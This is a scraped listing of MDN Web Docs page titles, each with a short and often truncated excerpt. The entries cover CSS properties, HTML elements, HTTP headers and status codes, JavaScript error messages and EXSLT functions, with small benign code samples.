a related property is block-size, which defines the other dimension of the element.
inset-block-end - CSS: Cascading Style Sheets
the inset-block-end css property defines the logical block end offset of an element, which maps to a physical inset depending on the element's writing mode, directionality, and text orientation.
inset-block-start - CSS: Cascading Style Sheets
the inset-block-start css property defines the logical block start offset of an element, which maps to a physical inset depending on the element's writing mode, directionality, and text orientation.
inset-block - CSS: Cascading Style Sheets
the inset-block css property defines the logical block start and end offsets of an element, which maps to physical offsets depending on the element's writing mode, directionality, and text orientation.
inset-inline-end - CSS: Cascading Style Sheets
the inset-inline-end css property defines the logical inline end inset of an element, which maps to a physical inset depending on the element's writing mode, directionality, and text orientation.
inset-inline-start - CSS: Cascading Style Sheets
the inset-inline-start css property defines the logical inline start inset of an element, which maps to a physical offset depending on the element's writing mode, directionality, and text orientation.
inset-inline - CSS: Cascading Style Sheets
the inset-inline css property defines the logical start and end offsets of an element in the inline direction, which maps to physical offsets depending on the element's writing mode, directionality, and text orientation.
line-height-step - CSS: Cascading Style Sheets
formal definition initial value0applies toblock containersinheritedyescomputed valueabsolute <length>animation typediscrete formal syntax <length> examples setting step unit for line box height in the following example, the height of line box in each paragraph is rounded up to the step unit.
margin-block - CSS: Cascading Style Sheets
the margin-block css shorthand property defines the logical block start and end margins of an element, which maps to physical margins depending on the element's writing mode, directionality, and text orientation.
margin-inline - CSS: Cascading Style Sheets
the margin-inline css shorthand property is a shorthand property that defines both the logical inline start and end margins of an element, which maps to physical margins depending on the element's writing mode, directionality, and text orientation.
margin-left - CSS: Cascading Style Sheets
working draft no significant change from css 2.1.
margin-right - CSS: Cascading Style Sheets
working draft no significant change css flexible box layout modulethe definition of 'margin-right' in that specification.
mask-composite - CSS: Cascading Style Sheets
perator>#where <compositing-operator> = add | subtract | intersect | exclude examples compositing mask layers with addition css #masked { width: 100px; height: 100px; background-color: #8cffa0; mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg), url(https://mdn.mozillademos.org/files/12676/star.svg); mask-size: 100% 100%; mask-composite: add; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="compositemode"> <option value="add">add</option> <option value="subtract">subtract</option> <option value="intersect">intersect</option> <option value="exclude">exclude</option> </select> javascript var clipbox = document.getelementbyid("compositemode"); clipbox.addeventlistener("change", function (evt) { docu...
max-inline-size - CSS: Cascading Style Sheets
it relates to max-block-size, which defines the other dimension of the element.
min-block-size - CSS: Cascading Style Sheets
a related property is min-inline-size, which defines the other dimension of the element.
min-inline-size - CSS: Cascading Style Sheets
a related property is min-block-size, which defines the other dimension of the element.
offset-position - CSS: Cascading Style Sheets
syntax /* keyword values */ offset-position: auto; offset-position: top; offset-position: bottom; offset-position: left; offset-position: right; offset-position: center; /* <percentage> values */ offset-position: 25% 75%; /* <length> values */ offset-position: 0 0; offset-position: 1cm 2cm; offset-position: 10ch 8em; /* edge offsets values */ offset-position: bottom 10px right 20px; offset-position: right 3em bottom 10px; offset-position: bottom 10px right; offset-position: top right 10px; /* global values */ offset-position: inherit; offset-position: initial; offset-position: unset; values auto the initial position is the position of the box specified by the position property.
offset-rotate - CSS: Cascading Style Sheets
verse ] | <angle> examples setting element orientation along its offset path html <div></div> <div></div> <div></div> css div { width: 40px; height: 40px; background: #2bc4a2; margin: 20px; clip-path: polygon(0% 0%, 70% 0%, 100% 50%, 70% 100%, 0% 100%, 30% 50%); animation: move 5000ms infinite alternate ease-in-out; offset-path: path('m20,20 c20,50 180,-10 180,20'); } div:nth-child(1) { offset-rotate: auto; } div:nth-child(2) { offset-rotate: auto 90deg; } div:nth-child(3) { offset-rotate: 30deg; } @keyframes move { 100% { offset-distance: 100%; } } result specifications specification status comment motion path module level 1the definition of 'offset-rotate' in that specification.
outline-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | <'border-style'> examples setting outline style to auto the auto value indicates a custom outline style — typically a style [that] is either a user interface default for the platform, or perhaps a style that is richer than can be described in detail in css, e.g.
outline-width - CSS: Cascading Style Sheets
recommendation no change.
padding-block - CSS: Cascading Style Sheets
the padding-block css shorthand property defines the logical block start and end padding of an element, which maps to physical padding properties depending on the element's writing mode, directionality, and text orientation.
padding-inline - CSS: Cascading Style Sheets
the padding-inline css shorthand property defines the logical inline start and end padding of an element, which maps to physical padding properties depending on the element's writing mode, directionality, and text orientation.
page-break-inside - CSS: Cascading Style Sheets
it has a little bit more text than the third one.</p> </div> css .page { background-color: #8cffa0; height: 90px; width: 200px; columns: 1; column-width: 100px; } .list, ol, ul, p { break-inside: avoid; } p { background-color: #8ca0ff; } ol, ul, .list { margin: 0.5em 0; display: block; background-color: orange; } p:first-child { margin-top: 0; } result specifications specification status comment css paged media module level 3the definition of 'page-break-inside' in that specification.
paint-order - CSS: Cascading Style Sheets
the paint-order css property lets you control the order in which the fill and stroke (and painting markers) of text content and shapes are drawn.
rotate - CSS: Cascading Style Sheets
WebCSSrotate
vector plus angle value three <number>s representing an origin-centered vector that defines a line around which you want to rotate the element, plus an <angle> specifying the angle to rotate the element through.
scroll-behavior - CSS: Cascading Style Sheets
note that any other scrolls, such as those performed by the user, are not affected by this property.
scroll-padding-block-end - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
scroll-padding-block-start - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
scroll-padding-block - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targeted element and the edges of the scrollport.
scroll-padding-bottom - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
scroll-padding-inline-end - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
scroll-padding-inline-start - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
scroll-padding-inline - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
scroll-padding-left - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
scroll-padding-right - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
scroll-padding-top - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
scroll-snap-stop - CSS: Cascading Style Sheets
} .y.proximity-scroll-snapping { scroll-snap-type: y proximity; } .container > div { text-align: center; scroll-snap-align: center; flex: none; } .x.container > div { line-height: 128px; font-size: 64px; width: 100%; height: 128px; } .y.container > div { line-height: 256px; font-size: 128px; width: 256px; height: 256px; } /* appearance fixes */ .y.container > div:first-child { line-height: 1.3; font-size: 64px; } /* coloration */ .container > div:nth-child(even) { background-color: #87ea87; } .container > div:nth-child(odd) { background-color: #87ccea; } html <div class="container x mandatory-scroll-snapping" dir="ltr"> <div>x mand.
table-layout - CSS: Cascading Style Sheets
html <table> <tr><td>ed</td><td>wood</td></tr> <tr><td>albert</td><td>schweitzer</td></tr> <tr><td>jane</td><td>fonda</td></tr> <tr><td>william</td><td>shakespeare</td></tr> </table> css table { table-layout: fixed; width: 120px; border: 1px solid red; } td { border: 1px solid blue; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } result specifications specification status comment css level 2 (revis...
text-align-last - CSS: Cascading Style Sheets
x /* keyword values */ text-align-last: auto; text-align-last: start; text-align-last: end; text-align-last: left; text-align-last: right; text-align-last: center; text-align-last: justify; /* global values */ text-align-last: inherit; text-align-last: initial; text-align-last: unset; values auto the affected line is aligned per the value of text-align, unless text-align is justify, in which case the effect is the same as setting text-align-last to start.
text-decoration-style - CSS: Cascading Style Sheets
as browsers can disable styling in some cases, the semantic meaning won't disappear in such a situation.
text-emphasis-color - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples emphasis with a color and custom character css em { text-emphasis-color: green; text-emphasis-style: "*"; } html <p>here's an example:</p> <em>this has emphasis marks!</em> result specifications specification status comment css text decoration module level 3the definition of 'text-emphasis' in that specification.
text-emphasis-style - CSS: Cascading Style Sheets
authors should not specify more than one character in <string>.
top - CSS: Cascading Style Sheets
WebCSStop
inherit specifies that the value is the same as the computed value from its parent element (which might not be its containing block).
matrix() - CSS: Cascading Style Sheets
homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 ac bd actxbdty001 actxbdty001 ac0txbd0ty00100001 [a b c d tx ty] the values represent the following functions: matrix( scalex(), skewy(), skewx(), scaley(), translatex(), translatey() ) examples html <div>normal</div> <div class="changed">changed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .changed { transform: matrix(1, 2, -1, 1, 80, 80); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'matrix()' in that specification.
rotate() - CSS: Cascading Style Sheets
s basic example html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotate(45deg); /* equal to rotatez(45deg) */ background-color: pink; } result combining rotation with another transformation if you want apply multiple transformations to an element, be careful about the order in which you specify your transformations.
rotateX() - CSS: Cascading Style Sheets
in other words, the order in which the rotations are applied impacts the result.
rotateY() - CSS: Cascading Style Sheets
in other words, the order in which the rotations are applied impacts the result.
rotateZ() - CSS: Cascading Style Sheets
in other words, the order in which the rotations are applied impacts the result.
transform - CSS: Cascading Style Sheets
WebCSStransform
if you need to include such animations on your website, you should provide a control to allow users to turn off animations, preferrably site-wide.
unicode-bidi - CSS: Cascading Style Sheets
when applying its bidirectional-resolution algorithm, its container element treats it as one or several u+fffc object replacement character, i.e.
unset - CSS: Cascading Style Sheets
WebCSSunset
candidate recommendation no changes from level 3.
vertical-align - CSS: Cascading Style Sheets
underline overline; margin-left: auto; margin-right: auto; width: 80%; } to vertically align the content of a cell in a table: <table> <tr> <td style="vertical-align: baseline">baseline</td> <td style="vertical-align: top">top</td> <td style="vertical-align: middle">middle</td> <td style="vertical-align: bottom">bottom</td> <td> <p>there is a theory which states that if ever anyone discovers exactly what the universe is for and why it is here, it will instantly disappear and be replaced by something even more bizarre and inexplicable.</p> <p>there is another theory which states that this has already happened.</p> </td> </tr> </table> table { margin-left: auto; margin-right: auto; width: 80%; } table, th, td { border: 1px solid bl...
widows - CSS: Cascading Style Sheets
WebCSSwidows
it has a little bit more text than the first one.</p> </div> css div { background-color: #8cffa0; columns: 3; widows: 2; } p { background-color: #8ca0ff; } p:first-child { margin-top: 0; } result specifications specification status comment css fragmentation module level 3the definition of 'widows' in that specification.
z-index - CSS: Cascading Style Sheets
WebCSSz-index
the box also establishes a local stacking context in which its stack level is 0.
zoom - CSS: Cascading Style Sheets
WebCSSzoom
reset do not (de)magnify this element if the user applies non-pinch-based zooming (e.g.
Common (exsl) - EXSLT
WebEXSLTexsl
exsl:node-set()exsl:node-set() returns a node-set from a result tree fragment, which is what you get when you look at the xsl:variable instead of its select attribute to fetch a variable's value.
set:difference() - EXSLT
WebEXSLTsetdifference
syntax set:difference(nodeset1, nodeset2) parameters nodeset1 the node-set from which to subtract nodes.
set:distinct() - EXSLT
WebEXSLTsetdistinct
syntax set:distinct(nodeset) parameters nodeset the node-set in which to find unique nodes.
Strings (str) - EXSLT
WebEXSLTstr
str:concat()str:concat() returns a string containing all the string values in a node-set concatenated together.str:split()str:split() splits a string using a pattern string to determine where the splits should occur, returning a node-set containing the resulting strings.str:tokenize()str:tokenize() splits a string using a set of characters as delimiters that determine where the splits should occur, returning a node-set containing the resulting strings.
Index - Event reference
WebEventsIndex
each event is represented by an object which is based on the event interface, and may have additional custom fields and/or functions used to get additional information about what happened.
Community - Developer guides
WebGuideAJAXCommunity
ajax resources ajax workshops and courses skillsmatter.com: courses and events on javascript, ajax, and reverse ajax technologies telerik.com: an active community forum for ajax community.tableau.com: community support forum and courses available for ajax codementor.io: social platform with ajax forums and tutorials lynda.com: tutorials available for learning the fundamentals of ajax ajax interview questions and answer and answerinterwiki links ...
Optimization and performance - Developer guides
there are several tools available to check the performance of a website or blog.
<aside>: The Aside element - HTML: Hypertext Markup Language
WebHTMLElementaside
implicit aria role complementary permitted aria roles feed, none, note, presentation, region, search dom interface htmlelement attributes this element only includes the global attributes.
<bgsound>: The Background Sound element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementbgsound
src this attribute specifies the url of the sound file to be played, which must be one of the following types: .wav, .au, or .mid.
<blink>: The Blinking Text element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementblink
the html blink element (<blink>) is a non-standard element which causes the enclosed text to flash slowly.
<caption>: The Table Caption element - HTML: Hypertext Markup Language
WebHTMLElementcaption
usage notes the <caption> element should be the first child of its parent <table> element.
<dir>: The Directory element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementdir
to give a similar effect as that achieved with the compact attribute, the css property line-height can be used with a value of 80%.
<dt>: The Description Term element - HTML: Hypertext Markup Language
WebHTMLElementdt
the html <dt> element specifies a term in a description or definition list, and as such must be used inside a <dl> element.
<figcaption>: The Figure Caption element - HTML: Hypertext Markup Language
permitted parents a <figure> element; the <figcaption> element must be its first or last child.
<header> - HTML: Hypertext Markup Language
WebHTMLElementheader
it may contain some heading elements but also a logo, a search form, an author name, and other elements.
<hr>: The Thematic Break (Horizontal Rule) element - HTML: Hypertext Markup Language
WebHTMLElementhr
the html <hr> element represents a thematic break between paragraph-level elements: for example, a change of scene in a story, or a shift of topic within a section.
<image>: The obsolete Image element - HTML: Hypertext Markup Language
WebHTMLElementimage
while some browsers will attempt to automatically convert this into an <img> element, they won't always do so, and won't always succeed when they try, due to various ways in which the options can be interpreted.
<legend> - HTML: Hypertext Markup Language
WebHTMLElementlegend
permitted parents a <fieldset> whose first child is this <legend> element implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmllegendelement attributes this element only includes the global attributes.
theme-color - HTML: Hypertext Markup Language
WebHTMLElementmetanametheme-color
example <meta name="theme-color" content="#4285f4"> the following image shows the effect that the <meta> element above will have on a document displayed in chrome running on an android mobile device.
<noscript> - HTML: Hypertext Markup Language
WebHTMLElementnoscript
examples <noscript> <!-- anchor linking to external file --> <a href="https://www.mozilla.com/">external link</a> </noscript> <p>rocks!</p> result with scripting enabled rocks!
<rtc>: The Ruby Text Container element - HTML: Hypertext Markup Language
WebHTMLElementrtc
the html ruby text container (<rtc>) element embraces semantic annotations of characters presented in a ruby of <rb> elements used inside of <ruby> element.
<small>: the side comment element - HTML: Hypertext Markup Language
WebHTMLElementsmall
by default, it renders text within it one font-size smaller, such as from small to x-small.
<var>: The Variable element - HTML: Hypertext Markup Language
WebHTMLElementvar
usage notes related elements other elements that are used in contexts in which <var> is commonly used include: <code>: the html code element <kbd>: the html keyboard input element <samp>: the html sample output element if you encounter code that is mistakenly using <var> for style purposes rather than semantic purposes, you should either use a <span> with appropriate css or, an appropriate semantic element among the following: <em> <i> <q> default style most ...
itemref - HTML: Hypertext Markup Language
for example, it allows authors to mark up data in a table so that each column defines a separate item while keeping the properties in the cells.
slot - HTML: Hypertext Markup Language
the slot global attribute assigns a slot in a shadow dom shadow tree to an element: an element with a slot attribute is assigned to the slot created by the <slot> element whose name attribute's value matches that slot attribute's value.
x-ms-format-detection - HTML: Hypertext Markup Language
existing links, such as ones with the tel: scheme, are unaffected.
Link types: modulepreload - HTML: Hypertext Markup Language
the modulepreload keyword for the rel attribute of the <link> element provides a declarative way to preemptively fetch a module script and its dependencies, and store them in the document's module map for later evaluation.
Link types: preload - HTML: Hypertext Markup Language
the preload keyword for the rel attribute of the <link> element indicates the user is highly likely to require the target resource for the current navigation, and therefore the browser must preemptively fetch and cache the resource.
Link types: prerender - HTML: Hypertext Markup Language
the prerender keyword for the rel attribute of the <link> element is a hint to browsers that the user might need the target resource for the next navigation, and therefore the browser can likely improve the user experience by preemptively fetching and processing the resource — for example, by fetching its subresources or performing some rendering in the background offscreen.
Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’ - HTTP
this header specifies a comma-delineated list of the http methods which may be used when using cors to access the url specified in the request; if the request is using any other method, this error occurs.
Reason: Multiple CORS header 'Access-Control-Allow-Origin' not allowed - HTTP
if you have access to the server you can change your implementation to echo back an origin in the access-control-allow-origin header.
Access-Control-Allow-Methods - HTTP
examples access-control-allow-methods: post, get, options access-control-allow-methods: * specifications specification status comment fetchthe definition of 'access-control-allow-methods' in that specification.
Content-Range - HTTP
header type response header forbidden header name no cors-safelisted response-header no syntax content-range: <unit> <range-start>-<range-end>/<size> content-range: <unit> <range-start>-<range-end>/* content-range: <unit> */<size> directives <unit> the unit in which ranges are specified.
CSP: referrer - HTTP
the origin is sent as referrer to a-priori as-much-secure destination (https->https), but isn't sent to a less secure destination (https->http).
CSP: sandbox - HTTP
working draft no changes.
CSP: upgrade-insecure-requests - HTTP
the upgrade-insecure-requests directive will not ensure that users visiting your site via links on third-party sites will be upgraded to https for the top-level navigation and thus does not replace the strict-transport-security (hsts) header, which should still be set with an appropriate max-age to ensure that users are not subject to ssl stripping attacks.
Cookie - HTTP
WebHTTPHeadersCookie
examples cookie: phpsessid=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1 specifications specification title rfc 6265, section 5.4: cookie http state management mechanism ...
Cookie2 - HTTP
WebHTTPHeadersCookie2
header type request header forbidden header name yes examples cookie2: $version="1" specifications specification title rfc 2965: cookie2 historic specification of http state management mechanism, obsoleted by rfc 6265 ...
Feature-Policy: accelerometer - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: ambient-light-sensor - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: battery - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: camera - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: display-capture - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: document-domain - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: encrypted-media - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: gyroscope - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: layout-animations - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: legacy-image-formats - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: magnetometer - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: microphone - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: midi - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: oversized-images - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: payment - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: publickey-credentials-get - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: screen-wake-lock - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: unoptimized-images - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: usb - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: vibrate - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: wake-lock - HTTP
features are each defined to have a default allowlist, which is one of: *: the feature is allowed by default in top-level browsing contexts and all nested browsing contexts (iframes).
Feature-Policy: xr - HTTP
WebHTTPHeadersFeature-Policyxr
this feature policy directive was at one point defined as xr (but implemented in chrome as vr), use xr-spatial-tracking instead.
If-Unmodified-Since - HTTP
gmt greenwich mean time.
Link - HTTP
WebHTTPHeadersLink
parameters the link header contains parameters, which are separated with ; and are equivalent to attributes of the <link> element.
Location - HTTP
WebHTTPHeadersLocation
in cases of redirection, the http method used to make the new request to fetch the page pointed to by location depends of the original method and of the kind of redirection: if 303 (see also) responses always lead to the use of a get method, 307 (temporary redirect) and 308 (permanent redirect) don't change the method used in the original request; 301 (permanent redirect) and 302 (found) doesn't change the method most of the time, though older user-agents may (so you basically don't know).
Range - HTTP
WebHTTPHeadersRange
header type request header forbidden header name no syntax range: <unit>=<range-start>- range: <unit>=<range-start>-<range-end> range: <unit>=<range-start>-<range-end>, <range-start>-<range-end> range: <unit>=<range-start>-<range-end>, <range-start>-<range-end>, <range-start>-<range-end> range: <unit>=-<suffix-length> directives <unit> the unit in which ranges are specified.
Set-Cookie2 - HTTP
specifications specification title rfc 2965: set-cookie2 historic specification of http state management mechanism, obsoleted by rfc 6265 ...
Timing-Allow-Origin - HTTP
the timing-allow-origin response header specifies origins that are allowed to see values of attributes retrieved via features of the resource timing api, which would otherwise be reported as zero due to cross-origin restrictions.
X-Forwarded-Proto - HTTP
examples x-forwarded-proto: https other non-standard forms: # microsoft front-end-https: on x-forwarded-protocol: https x-forwarded-ssl: on x-url-scheme: https specifications not part of any current specification.
CONNECT - HTTP
WebHTTPMethodsCONNECT
request has body no successful response has body yes safe no idempotent no cacheable no allowed in html forms no syntax connect www.example.com:443 http/1.1 example some proxy servers might need authority to create a tunnel.
DELETE - HTTP
WebHTTPMethodsDELETE
request has body may successful response has body may safe no idempotent yes cacheable no allowed in html forms no syntax delete /file.html http/1.1 example request delete /file.html http/1.1 responses if a delete method is successfully applied, there are several response status codes possible: a 202 (accepted) status code if the action will likely succeed but has not yet been enacted.
GET - HTTP
WebHTTPMethodsGET
request has body no successful response has body yes safe yes idempotent yes cacheable yes allowed in html forms yes syntax get /index.html specifications specification title rfc 7231, section 4.3.1: get hypertext transfer protocol (http/1.1): semantics and content ...
PUT - HTTP
WebHTTPMethodsPUT
request has body yes successful response has body no safe no idempotent yes cacheable no allowed in html forms no syntax put /new.html http/1.1 example request put /new.html http/1.1 host: example.com content-type: text/html content-length: 16 <p>new file</p> responses if the target resource does not have a current representation and the put request successfully creates one, then the origin server must inform the user agent by sending a 201 (crea...
100 Continue - HTTP
WebHTTPStatus100
to have a server check the request's headers, a client must send expect: 100-continue as a header in its initial request and receive a 100 continue status code in response before sending the body.
103 Early Hints - HTTP
WebHTTPStatus103
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
203 Non-Authoritative Information - HTTP
WebHTTPStatus203
the 203 response is similar to the value 214, meaning transformation applied, of the warning header code, which has the additional advantage of being applicable to responses with any status code.
206 Partial Content - HTTP
WebHTTPStatus206
if several ranges are sent back, the content-type is set to multipart/byteranges and each fragment covers one range, with content-range and content-type describing it.
303 See Other - HTTP
WebHTTPStatus303
the hypertext transfer protocol (http) 303 see other redirect status response code indicates that the redirects don't link to the newly uploaded resources, but to another page (such as a confirmation page or an upload progress page).
403 Forbidden - HTTP
WebHTTPStatus403
the access is permanently forbidden and tied to the application logic, such as insufficient rights to a resource.
404 Not Found - HTTP
WebHTTPStatus404
apache servers can be configured using an .htaccess file and a code snippet like the following example.
408 Request Timeout - HTTP
WebHTTPStatus408
this response is used much more since some browsers, like chrome, firefox 27+, and ie9, use http pre-connection mechanisms to speed up surfing.
409 Conflict - HTTP
WebHTTPStatus409
for example, you may get a 409 response when uploading a file which is older than the one already on the server resulting in a version control conflict.
410 Gone - HTTP
WebHTTPStatus410
note: a 410 response is cacheable by default.
411 Length Required - HTTP
WebHTTPStatus411
note: by specification, when sending data in a series of chunks, the content-length header is omitted and at the beginning of each chunk you need to add the length of the current chunk in hexadecimal format.
416 Range Not Satisfiable - HTTP
WebHTTPStatus416
the most likely reason is that the document doesn't contain such ranges, or that the range header value, though syntactically correct, doesn't make sense.
425 Too Early - HTTP
WebHTTPStatus425
the hypertext transfer protocol (http) 425 too early response status code indicates that the server is unwilling to risk processing a request that might be replayed, which creates the potential for a replay attack.
500 Internal Server Error - HTTP
WebHTTPStatus500
this error response is a generic "catch-all" response.
503 Service Unavailable - HTTP
WebHTTPStatus503
caching-related headers that are sent along with this response should be taken care of, as a 503 status is often a temporary condition and responses shouldn't usually be cached.
506 Variant Also Negotiates - HTTP
WebHTTPStatus506
the variant also negotiates status code indicates an internal server configuration error in which the chosen variant is itself configured to engage in content negotiation, so is not a proper negotiation endpoint.
510 Not Extended - HTTP
WebHTTPStatus510
if the server receives such a request, but any described extensions are not supported for the request, then the server responds with the 510 status code.
JavaScript language resources - JavaScript
implementations spidermonkey - the javascript engine used in various mozilla products, including firefox; rhino - the javascript engine is written in java; tamarin - the actionscript virtual machine (used in the adobe® flash® player); other implementations (wikipedia).
static - JavaScript
these are often utility functions, such as functions to create or clone objects.
TypeError: can't access property "x" of "y" - JavaScript
examples invalid cases // undefined and null cases on which the substring method won't work var foo = undefined; foo.substring(1); // typeerror: x is undefined, can't access property "substring" of it var foo = null; foo.substring(1); // typeerror: x is null, can't access property "substring" of it fixing the issue to fix null pointer to undefined or null values, you can use the typeof operator, for example.
TypeError: can't define property "x": "obj" is not extensible - JavaScript
(chrome) error type typeerror what went wrong?
SyntaxError: applying the 'delete' operator to an unqualified name is deprecated - JavaScript
(chrome) error type syntaxerror in strict mode only.
SyntaxError: "0"-prefixed octal literals and octal escape seq. are deprecated - JavaScript
message syntaxerror: octal numeric literals and escape characters not allowed in strict mode (edge) syntaxerror: "0"-prefixed octal literals and octal escape sequences are deprecated; for octal literals use the "0o" prefix instead error type syntaxerror in strict mode only.
SyntaxError: Using //@ to indicate sourceURL pragmas is deprecated. Use //# instead - JavaScript
the source map specification changed the syntax due to a conflict with ie whenever it was found in the page after //@cc_on was interpreted to turn on conditional compilation in the ie jscript engine.
ReferenceError: invalid assignment left-hand side - JavaScript
this might be due to a mismatch of a assignment operator and a comparison operator, for example.
RangeError: invalid date - JavaScript
message rangeerror: invalid date (edge) rangeerror: invalid date (firefox) rangeerror: invalid time value (chrome) rangeerror: provided date is not in valid range (chrome) error type rangeerror what went wrong?
SyntaxError: Malformed formal parameter - JavaScript
f = function('x y', 'return x + y;'); // syntaxerror (missing a comma) var f = function('x,', 'return x;'); // syntaxerror (extraneous comma) var f = function(37, "alert('ok')"); // syntaxerror (numbers can't be argument names) valid cases var f = function('x, y', 'return x + y;'); // correctly punctuated var f = function('x', 'return x;'); // if you can, avoid using function - this is much faster var f = function(x) { return x; }; ...
SyntaxError: missing } after property list - JavaScript
also check if any closing curly brackets or parenthesis are in the correct order.
SyntaxError: missing formal parameter - JavaScript
in javascript, identifiers can contain only alphanumeric characters (or "$" or "_"), and may not start with a digit.
SyntaxError: missing name after . operator - JavaScript
for computed property access, you might need to change your property access from using a dot to using square brackets.
SyntaxError: missing ) after condition - JavaScript
in javascript, this condition must appear in parenthesis after the if keyword, like this: if (condition) { // do something if the condition is true } examples missing parenthesis it might just be an oversight, carefully check all you parenthesis in your code.
SyntaxError: missing ; before statement - JavaScript
carefully check the syntax when this error is thrown.
RangeError: repeat count must be non-negative - JavaScript
message rangeerror: argument out of range rangeerror: repeat count must be non-negative (firefox) rangeerror: invalid count value (chrome) error type rangeerror what went wrong?
TypeError: "x" is not a non-null object - JavaScript
message typeerror: invalid descriptor for property {x} (edge) typeerror: "x" is not a non-null object (firefox) typeerror: property description must be an object: "x" (chrome) typeerror: invalid value used in weak set (chrome) error type typeerror what went wrong?
RangeError: argument is not a valid code point - JavaScript
message rangeerror: {0} is not a valid code point (firefox) rangeerror: invalid code point {0} (chromium) error type rangeerror what went wrong?
TypeError: "x" is not a constructor - JavaScript
there are many global objects, like string or array, which are constructable using new.
SyntaxError: Unexpected token - JavaScript
examples expression expected for example, when chaining expressions, trailing commas are not allowed.
Method definitions - JavaScript
const obja = { method() {} } new obja.method // typeerror: obj.method is not a constructor const objb = { * g() {} } new objb.g // typeerror: obj.g is not a constructor (changed in es2016) examples simple test case const obj = { a: 'foo', b() { return this.a } }; console.log(obj.b()) // "foo" computed property names the shorthand syntax also supports computed property names.
AggregateError() constructor - JavaScript
